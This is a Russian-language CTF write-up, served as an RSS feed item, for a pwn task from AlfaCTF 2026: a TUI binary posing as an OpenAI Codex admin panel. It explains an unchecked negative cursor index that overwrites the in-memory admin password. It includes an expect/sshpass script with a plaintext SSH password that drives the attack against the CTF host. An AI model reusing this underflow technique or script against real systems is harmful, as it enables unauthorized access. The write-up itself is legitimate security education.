<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>cveattack</title><generator>teletype.in</generator><description><![CDATA[cveattack]]></description><link>https://teletype.in/@satan0x01?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=satan0x01</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/satan0x01?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/satan0x01?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sat, 23 May 2026 19:15:37 GMT</pubDate><lastBuildDate>Sat, 23 May 2026 19:15:37 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@satan0x01/CHgXXjSjUzu</guid><link>https://teletype.in/@satan0x01/CHgXXjSjUzu?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=satan0x01</link><comments>https://teletype.in/@satan0x01/CHgXXjSjUzu?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=satan0x01#comments</comments><dc:creator>satan0x01</dc:creator><title>Углеродный след</title><pubDate>Sat, 25 Apr 2026 18:26:34 GMT</pubDate><description><![CDATA[Автор: @yanik1ta]]></description><content:encoded><![CDATA[
  <h1 id="KvKI"><strong>CTF</strong>: АльфаЦТФ2026</h1>
  <p id="XlKK"><strong>Автор</strong>: <a href="https://t.me/yanik1ta" target="_blank">@yanik1ta</a></p>
  <p id="Dopi"><strong>Категория</strong>: Pwn<br /><strong>Сложность</strong>: Medium</p>
  <h3 id="Описание-задачи">Описание задачи</h3>
  <blockquote id="jdMS">Нам дают SSH-доступ к серверу, где запущен бинарник <code>carbon.elf</code> TUI - приложение, притворяющееся панелью администрирования OpenAI Codex. Зайти внутрь может только Сэм Альтман, но пароль случайный при каждом запуске.</blockquote>
  <h3 id="Реверс">Реверс</h3>
  <p id="aQdp">Смотрим бинарник статически и находим три важные функции.</p>
  <p id="0l3v"><code>login_ok</code> сравнивает username со строкой <code>sam_altman</code>, а пароль с буфером <code>admin_password</code> по адресу <code>0x408380</code> в BSS.</p>
  <p id="VIww"><code>randomize_admin_password</code> при запуске читает 15 байт из <code>/dev/urandom</code> и кодирует их через <code>alphabet[byte % 57]</code>, где алфавит это Base58: <code>ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789</code>. Пароль каждый раз новый и нам неизвестен.</p>
  <p id="ScRE"><code>flag_unlocked</code> возвращает флаг при двух условиях одновременно: guardrail с индексом <code>0x58</code> отключён, и метрика carbon ниже 130.</p>
  <pre id="MkKv">return (guardrails[0x58] == 0) &amp;&amp; (metric_values[2] &lt; 130.0);
</pre>
  <p id="Wi0U">Смотрим <code>field_insert_char</code> и замечаем уязвимость: функция пишет <code>buffer[cursor]</code> без проверки нижней границы. Стрелка вправо проверяется (<code>cursor &gt; 30</code>), а стрелка влево ничем не ограничена снизу. Курсор может уйти в отрицательные значения.</p>
  <h3 id="Уязвимость">Уязвимость</h3>
  <p id="Na21">Смотрим на раскладку BSS:</p>
  <pre id="DBnL">0x408380  admin_password  [15 байт + \0]
          128 байт разрыва
0x408400  username input  [cursor = 0 при старте]
</pre>
  <p id="OmQs">Если нажать стрелку влево 128 раз в поле username, курсор окажется на <code>-128</code> и будет указывать прямо на <code>admin_password[0]</code>. Дальше печатаем 15 букв <code>A</code> и перезаписываем пароль на известное нам значение.</p>
  <h3 id="Эксплойт">Эксплойт</h3>
  <p id="MquP">SSH-сервер запускает <code>carbon.elf</code> напрямую как шелл и не позволяет передавать команды удалённо. Поэтому автоматизируем ввод нажатий через <code>expect</code> и <code>sshpass</code> с локальной машины.</p>
  <pre id="CDEc">expect -c &#x27;
spawn sshpass -p «AAu8KdgMdTIag37UX83WzQ» ssh -tt carbon@carbon-qm6k0jjg.alfactf.ru
expect «locked»
sleep 0.5
set L «\033\[D»
set R «\033\[C»
set seq «»
for {set i 0} {$i &lt; 128} {incr i} { append seq $L }
append seq «AAAAAAAAAAAAAAA»
for {set i 0} {$i &lt; 113} {incr i} { append seq $R }
append seq «sam_altman\tAAAAAAAAAAAAAAA\r»
send $seq
sleep 2
interact</pre>
  <p id="kuO7">ждёт пока TUI отрисует строку «OpenAI console locked» и только потом отправляет нажатия. Без этого байты улетают до инициализации экрана и теряются.</p>
  <p id="DRbR">После отправки последовательности курсор уходит на <code>-128</code>, перезаписывает <code>admin_password</code> пятнадцатью <code>A</code>, возвращается в начало, и мы вводим <code>sam_altman</code> с паролем <code>AAAAAAAAAAAAAAA</code>. Логин проходит.</p>
  <h3 id="Получение-флага">Получение флага</h3>
  <p id="0SeO">Оказавшись внутри, переходим в раздел Guardrails (Tab три раза), находим guardrail «Help with CTF» и выключаем его пробелом. Переходим на Dashboard и ждём пару секунд.</p>
  <p id="gLOa">Отключение этого guardrail&#x27;а автоматически роняет метрику carbon ниже 130. Оба условия <code>flag_unlocked</code> выполнены, флаг появляется на экране.</p>

]]></content:encoded></item></channel></rss>